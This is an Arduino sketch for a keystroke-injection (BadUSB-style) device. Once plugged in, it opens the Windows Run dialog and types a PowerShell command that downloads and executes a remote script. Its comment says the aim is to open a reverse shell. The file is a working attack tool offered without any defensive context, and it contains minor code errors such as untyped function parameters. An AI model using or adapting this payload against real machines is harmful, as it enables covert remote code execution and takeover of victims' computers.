// Script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds.
#include <Keyboard.h>
void setup() {
delay(7000);
KeypressCombo(KEY_LEFT_GUI, KEY_R);
delay(500);
Keyboard.println("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\"");
;
}
void loop() {}
void KeypressCombo(key1, key2)
{
Keyboard.press(key1);
delay(100);
if(key2 != NULL)
{
Keyboard.press(key2);
delay(200);
}
Keyboard.releaseAll();
delay(200);
}
void opencmd()
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(300);
Keyboard.println("cmd");
delay(1000);
}